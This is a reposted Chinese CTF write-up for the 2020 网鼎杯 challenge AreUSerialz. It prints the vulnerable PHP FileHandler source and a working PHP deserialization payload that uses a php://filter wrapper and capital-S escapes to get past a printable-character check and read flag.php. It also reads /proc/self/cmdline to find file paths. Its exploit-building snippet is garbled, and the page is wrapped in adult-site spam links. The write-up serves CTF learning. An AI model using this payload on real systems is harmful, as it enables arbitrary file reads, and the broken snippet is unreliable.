日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

發布時間:2025/3/12 php 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x02 AreUSerialz

關于s大寫小寫問題,可以看p神在圈子里發的,我在最后付上截圖

考點: php反序列化 php特性 利用鏈構造

1.打開頁面得到代碼如下:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2.簡單看下代碼,反序列化操作,protect里面可控:

01.自己構造一下利用鏈,主要是繞過 is_vaild 函數,它規定了序列化內容中只能包含ascii可見字符,如果出現其他的字符則會返回false

02.因為構造成功的內容中,肯定會包含%00,因為類型是protect類型,要給添加標記,主要坑點在這,繞過這個的限制

03.我們構造利用鏈,輸出序列化內容,我們自己構造exp,直接讀不知道為啥讀不到,相對路徑的問題???,比賽就用偽協議讀一下:

highlight_file(__FILE__);

class FileHandler {

protected $op=2;

protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

protected $op=loecho;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

04.先得知道路徑,我們通過 /proc/self/cmdline 知道配置文件路徑 /web/config/httpd.conf,通過配置文件知道目錄的路徑/web/html

直接讀一下Flag

運行結果如下:

得到序列化數據:

04 修改下Payload,主要是 %00,進行標記,然后進行Protecte繞過,改為 16進制\00\00或者空格,繞過字符限制

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}

*

str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打過去,看結果:

我們使用偽協議讀的,Base64解碼一下:

相關資料:

01. 在線復現: https://buuoj.cn/challenges

02. 反序列化基礎: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/

總結

以上是生活随笔為你收集整理的网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲成人网在线 | 成人美女免费网站视频 | 日本一品道 | av在线不卡观看 | 中文无码av一区二区三区 | 欧性猛交ⅹxxx乱大交 | 手机看片国产日韩 | 欧美aa一级 | 亚洲精品无码一区二区 | 久久久久久国产精品三级玉女聊斋 | 麻豆视频在线看 | 中文字幕第31页 | 久久影院午夜理论片无码 | 蜜臀久久久久久999 大陆熟妇丰满多毛xxxⅹ | 91精品久久久久久久久久 | 在线观看香蕉视频 | 超碰免费在线 | 伊伊总综合网 | 亚洲欧洲日本一区二区三区 | 欧美性生交xxxxx久久久 | 精品九九视频 | 国产午夜精品在线 | 成人午夜sm精品久久久久久久 | 日本成人免费在线视频 | 国产精品一区二区三区免费在线观看 | 久久久久久亚洲中文字幕无码 | 伊人色婷婷| 国产欧美一区二区三区视频在线观看 | 国产日韩大片 | 可以看毛片的网站 | av女优天堂在线观看 | 国产免费av观看 | 国产乱国产乱老熟 | 精品一区二区三区视频日产 | 成人国产精品久久 | 天天天操 | 日日不卡av | 亚洲色图视频在线 | 久久亚洲无码视频 | 少妇裸体视频 | 日韩乱码一区二区三区 | 少妇2做爰bd在线意大利堕落 | 亚洲熟女综合一区二区三区 | 久久久久久婷婷 | 精品不卡在线 | 国产精品白丝喷水在线观看 | 欧美精品在线一区二区三区 | 婷婷亚洲综合五月天小说 | 国产ts人妖调教重口男 | 欧美黄视频在线观看 | 天天操天天舔天天干 | 亚洲亚洲人成综合网络 | 日本a在线 | 香港黄色网 | 国产精品一区在线播放 | 欧美日韩天堂 | 动漫美女被吸乳奶动漫视频 | 国产精品久久久 | 日本一区二区三区电影在线观看 | 97香蕉久久超级碰碰高清版 | 亚色在线视频 | 制服.丝袜.亚洲.中文.综合懂色 | 亚洲国产一区二区三区 | 视频一区二区不卡 | 欧美色图88 | 图片区偷拍区小说区 | 性做爰视频免费播放大全 | 日本呦呦| 综合色导航 | 午夜福利视频一区二区 | 亚洲精品1234| 亚洲av无码专区首页 | 日韩亚洲欧美一区二区三区 | 草草国产| free国产hd露脸性开放 | 国产精品久久久午夜夜伦鲁鲁 | 午夜不卡影院 | 一区二区三区四区亚洲 | 第一章豪妇荡乳黄淑珍 | 亚洲av无码国产精品久久 | 亚洲精品国产电影 | 开心春色激情网 | 久久av一区二区三区亚洲 | 插女生下面 | 天天插夜夜操 | 欧美综合视频 | 在办公室被c到呻吟的动态图 | 污视频免费在线观看网站 | 亚洲人网| 交专区videossex非洲 | 熟女精品一区二区三区 | 93久久精品日日躁夜夜躁欧美 | av免费毛片 | 久久九九久精品国产免费直播 | 亚洲网站免费观看 | 图片区亚洲色图 | 久草高清 | 国产精品一区二区三区四区五区 | 午夜精品福利一区二区蜜股av |